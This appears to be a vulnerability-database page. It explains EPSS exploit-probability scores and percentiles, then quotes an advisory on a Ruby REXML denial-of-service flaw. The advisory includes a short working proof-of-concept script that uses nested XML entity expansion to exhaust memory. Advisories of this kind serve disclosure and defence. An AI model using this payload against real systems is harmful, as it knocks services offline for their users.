EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/30802/info Ruby is prone to a remote denial-of-service vulnerability in its REXML module. Successful exploits may allow remote attackers to cause denial-of-service conditions in applications that use the vulnerable module. Versions up to and including Ruby 1.9.0-3 are vulnerable. #!/usr/bin/env ruby require 'rexml/document' doc = REXML::Document.new(<<END) <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE member [ <!ENTITY a "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"> <!ENTITY b "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;"> <!ENTITY c "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;"> <!ENTITY d "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;"> <!ENTITY e "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;"> <!ENTITY f "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;"> <!ENTITY g "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"> ]> <member> &a; </member> END puts doc.root.text.size
